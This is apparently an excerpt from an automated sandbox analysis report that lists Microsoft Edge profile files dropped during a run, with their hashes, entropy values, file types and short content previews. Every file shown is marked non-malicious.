SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.165902633525388
Encrypted:	false
SSDEEP:	6:HGrfpMM+q2PN723oH+TcwtnG2tMsIFUt8YGrfGZmw+YGrf4MVkwON723oH+TcwtB:sMM+vVaYebn9GFUt8A/++MV5OaYebn9b
MD5:	513A7E242E53C6A5948D4DDA6AD2496C
SHA1:	88958940D3906E1760C5A2AFB5416EA01BCFE8B0
SHA-256:	4B80309F49B80B59B88C747C7A97A4FA0EEC1193BA37192F43AACD24732CF4F4
SHA-512:	435130785ABADF70F9DA168B10977D2B48A8578B64057712817F61D979BF40D992D918991B5C6980D706EE1B8BE17EB16CE070B7E1895C806DA00D2368048B2B
Malicious:	false
Preview:	2024/11/23-13:52:42.124 ffc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/23-13:52:42.125 ffc Recovering log #3.2024/11/23-13:52:42.126 ffc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.165902633525388
Encrypted:	false
SSDEEP:	6:HGrfpMM+q2PN723oH+TcwtnG2tMsIFUt8YGrfGZmw+YGrf4MVkwON723oH+TcwtB:sMM+vVaYebn9GFUt8A/++MV5OaYebn9b
MD5:	513A7E242E53C6A5948D4DDA6AD2496C
SHA1:	88958940D3906E1760C5A2AFB5416EA01BCFE8B0
SHA-256:	4B80309F49B80B59B88C747C7A97A4FA0EEC1193BA37192F43AACD24732CF4F4
SHA-512:	435130785ABADF70F9DA168B10977D2B48A8578B64057712817F61D979BF40D992D918991B5C6980D706EE1B8BE17EB16CE070B7E1895C806DA00D2368048B2B
Malicious:	false
Preview:	2024/11/23-13:52:42.124 ffc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/23-13:52:42.125 ffc Recovering log #3.2024/11/23-13:52:42.126 ffc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6136486404040944
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jqywDpewrmL:TO8D4jJ/6Up+z
MD5:	79F496BB59DD94BF493DAEFE563DC345
SHA1:	193342DED141299EB7653E581A065D3D602EF7DC
SHA-256:	1AB7EF6B713C34A5D6B98492249EE2A6D6FC2610F38A1C16898ABA38D9F73AA3
SHA-512:	A5B2A953B9E01197819FB8DC8A2BB812CE23349A6DE474E12071B1A86583165D5E483D04C6FE7B999CCE30A6D63D48C40DDBCD91D67CC80648AE64F421E9AA11
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354108155021788
Encrypted:	false
SSDEEP:	6144:bA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:bFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	8952847B7B1639D799D71E8394BAA8AA
SHA1:	1CCA96E5B7F92DFE5A59A2C49DF043ECDE43BC27
SHA-256:	792F975CCC322AA7DD6B5EE8EA07D0F08A27F48CE3D673230C90411B2E3A62AC
SHA-512:	456686AF840F00752277B2CF9F94EE80E17C076828A04961BB16504B04AD9D52DF472094258F6814820BBF81CEE4550F972B7CA10DE95DF3ABFA27A089F1EB8B
Malicious:	false
Preview:	...m.................DB_VERSION.1q.].q...............&QUERY_TIMESTAMP:domains_config_gz2...13376861570434923..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.161780854805209
Encrypted:	false
SSDEEP:	6:HGrf0yGq1N723oH+Tcwtk2WwnvB2KLlVGrftVq2PN723oH+Tcwtk2WwnvIFUv:/aaYebkxwnvFLmVvVaYebkxwnQFUv
MD5:	AC3FEE0A88E1D822494E4377862E8250
SHA1:	AB74A77ACE9A7B4AB72A074B4067DAE6DEAB60EA
SHA-256:	D9010018D51E55121D441D15D8F603E2EE93FBD39B4A2C41A5D34B86D1B7E7E9
SHA-512:	3C1F9EB36D2B65CC9D6E301B4A58CDE88D495107227247061EAB34EA4CD7F25A2A066BEFA5C1C18B5B648FDA54B06AD22BA8AF70F3DA6E362FFEDB7AED1B19F4
Malicious:	false
Preview:	2024/11/23-13:52:47.997 20d0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/23-13:52:48.092 20d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324621002932866
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RL:C1gAg1zfvD
MD5:	DC14877D0D691035223404DD27DD00DB
SHA1:	BE8B72A4D3481A3C5CCE24A4E7A24B58EDAF4108
SHA-256:	C4BE1D32EBF546611404DB5BF8D8E39CD764814567DC86B8DDE33DF1B2EC5FA5
SHA-512:	D005A941658B9A2D7404CDF8E949812CFD628963AEA58B2762D796699DC7786B446C543B1A97BDD15783C4AFE9C25C87F8BD74D0266729C3DCFF511754A23928
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.132117448752911
Encrypted:	false
SSDEEP:	6:HGrfyo9+q2PN723oH+Tcwt8aPrqIFUt8YGrfvJZmw+YGrfv9VkwON723oH+Tcwtc:pW+vVaYebL3FUt8L/+bV5OaYebQJ
MD5:	E475B90D76BEEA8228ECCD36F703FDF3
SHA1:	B20703E90723F05155DC6ACD965CC5A622A819C9
SHA-256:	921703F1B207F48A300A2FDD7C358ADB1562997E0734093A4832F8A96F27EB5C
SHA-512:	07E47C0648F706E3625A16B741E1C58388523D60CDA45F6D0157096CA6D5E78E88271E929ACCD0D05DCDCEC15361F751CFC9D5F02F4B7D73C6380D81CA3E2ADF
Malicious:	false
Preview:	2024/11/23-13:52:41.877 1e2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/23-13:52:42.092 1e2c Recovering log #3.2024/11/23-13:52:42.092 1e2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.132117448752911
Encrypted:	false
SSDEEP:	6:HGrfyo9+q2PN723oH+Tcwt8aPrqIFUt8YGrfvJZmw+YGrfv9VkwON723oH+Tcwtc:pW+vVaYebL3FUt8L/+bV5OaYebQJ
MD5:	E475B90D76BEEA8228ECCD36F703FDF3
SHA1:	B20703E90723F05155DC6ACD965CC5A622A819C9
SHA-256:	921703F1B207F48A300A2FDD7C358ADB1562997E0734093A4832F8A96F27EB5C
SHA-512:	07E47C0648F706E3625A16B741E1C58388523D60CDA45F6D0157096CA6D5E78E88271E929ACCD0D05DCDCEC15361F751CFC9D5F02F4B7D73C6380D81CA3E2ADF
Malicious:	false
Preview:	2024/11/23-13:52:41.877 1e2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/23-13:52:42.092 1e2c Recovering log #3.2024/11/23-13:52:42.092 1e2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1404538402617295
Encrypted:	false
SSDEEP:	6:HGrfr9+q2PN723oH+Tcwt865IFUt8YGrfZoNJZmw+YGrf/E9VkwON723oH+TcwtD:U+vVaYeb/WFUt8YX/+xiV5OaYeb/+SJ
MD5:	1770A1458BF34EB1DB4F991E880F0F2B
SHA1:	A4C9C0AB0E6790DCF3F71EDD22C9EFB3C1377ACE
SHA-256:	51137B2CEF61CADA842A438B826479E1A5F31731D1483B2FAFCFB2C9B0E30832
SHA-512:	0492E030387FC22154DA2FA904E519A9D865C71EE8E90A68F514C510B960B66BBFBB11B822896D8AA893B165D383298B2DA4CE08898CD365EAA109A2E1B9B9B9
Malicious:	false
Preview:	2024/11/23-13:52:42.096 1e2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/23-13:52:42.097 1e2c Recovering log #3.2024/11/23-13:52:42.127 1e2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1404538402617295
Encrypted:	false
SSDEEP:	6:HGrfr9+q2PN723oH+Tcwt865IFUt8YGrfZoNJZmw+YGrf/E9VkwON723oH+TcwtD:U+vVaYeb/WFUt8YX/+xiV5OaYeb/+SJ
MD5:	1770A1458BF34EB1DB4F991E880F0F2B
SHA1:	A4C9C0AB0E6790DCF3F71EDD22C9EFB3C1377ACE
SHA-256:	51137B2CEF61CADA842A438B826479E1A5F31731D1483B2FAFCFB2C9B0E30832
SHA-512:	0492E030387FC22154DA2FA904E519A9D865C71EE8E90A68F514C510B960B66BBFBB11B822896D8AA893B165D383298B2DA4CE08898CD365EAA109A2E1B9B9B9
Malicious:	false
Preview:	2024/11/23-13:52:42.096 1e2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/23-13:52:42.097 1e2c Recovering log #3.2024/11/23-13:52:42.127 1e2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.153380680940369
Encrypted:	false
SSDEEP:	6:HGrf0WM+q2PN723oH+Tcwt8NIFUt8YGrfuUo1Zmw+YGrfiWWMVkwON723oH+TcwY:ZL+vVaYebpFUt88/+NLV5OaYebqJ
MD5:	265751AF3BD52A7DB9E7945804184726
SHA1:	0B7EF2E0B5B535E740EE68E4F902D10D090ABAA2
SHA-256:	3D26BD69EBDCE501F917C1262299FF0E99A724E897E334F9BE2E9FD79A68F54A
SHA-512:	14B961CC19C76DD3D46F4273BAFE4CEDEDF5B44EBD7B1BABE653B414884CF826B19A384056612B8D27578BFA97BF8316D22D4DB33772F56C6CF9B028661904B6
Malicious:	false
Preview:	2024/11/23-13:52:42.761 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/23-13:52:42.763 161c Recovering log #3.2024/11/23-13:52:42.764 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.153380680940369
Encrypted:	false
SSDEEP:	6:HGrf0WM+q2PN723oH+Tcwt8NIFUt8YGrfuUo1Zmw+YGrfiWWMVkwON723oH+TcwY:ZL+vVaYebpFUt88/+NLV5OaYebqJ
MD5:	265751AF3BD52A7DB9E7945804184726
SHA1:	0B7EF2E0B5B535E740EE68E4F902D10D090ABAA2
SHA-256:	3D26BD69EBDCE501F917C1262299FF0E99A724E897E334F9BE2E9FD79A68F54A
SHA-512:	14B961CC19C76DD3D46F4273BAFE4CEDEDF5B44EBD7B1BABE653B414884CF826B19A384056612B8D27578BFA97BF8316D22D4DB33772F56C6CF9B028661904B6
Malicious:	false
Preview:	2024/11/23-13:52:42.761 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/23-13:52:42.763 161c Recovering log #3.2024/11/23-13:52:42.764 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21861961848037045
Encrypted:	false
SSDEEP:	3:37ntFlljq7A/mhWJFuQ3yy7IOWU9l4/dweytllrE9SFcTp4AGbNCV9RUIi:Y75fO2/d0Xi99pEYI
MD5:	2D88B8C977845ECF4E7219B0384A9151
SHA1:	747CA435D53F5F228778B3DFFF84ED800E676848
SHA-256:	834C6C3B3DD0589308934166256AB96F744E187234CA1D4BFBD3163231839D76
SHA-512:	E8790872BDB495BAB05917E21CB066E82825585F536524901D2E60FD17427E467D8CDE0E9C5C6A3DD4CC9EFC0D772BBC97266A4BFB03A3F64096974CA013F215
Malicious:	false
Preview:	............`.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481108399508497
Encrypted:	false
SSDEEP:	384:aj9P0DQkQerkjlic2gam6IfP/Kbtn773pLXRKToaADhf:adYe2mllpvP/m7JRKc39
MD5:	EC46783E58638918EF85E6BD096F739A
SHA1:	5CE5E2BC2D25E15FBA8E764AA452BABA12FFFE35
SHA-256:	3A0768B9BEE8B4312EF0BB1EC620888E2E2A3AE6ED060D602F9C76DCE5331287
SHA-512:	D44A7A0291164A88359AE473FE7390F29D67D4A2488E7FD6B4D526A95445DD87ECC62884482FDC11945C8790CB22869465B55FDA645C7CDB2B31F7F14541EB7F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.278684069203271
Encrypted:	false
SSDEEP:	12:gL+vVaYeb8rcHEZrELFUt8wZ/+wlLV5OaYeb8rcHEZrEZSJ:gYVaYeb8nZrExg8wPlDOaYeb8nZrEZe
MD5:	4753716936D309FA7745FACDA885ED5D
SHA1:	C9F56A34C383FDCB34A8C74340C850A7EBEC4F18
SHA-256:	C1B2DF2CFDAF7D07CC8D8AE3EA6DBB86E3E4F6A37665584EBAA24A2D68E144C8
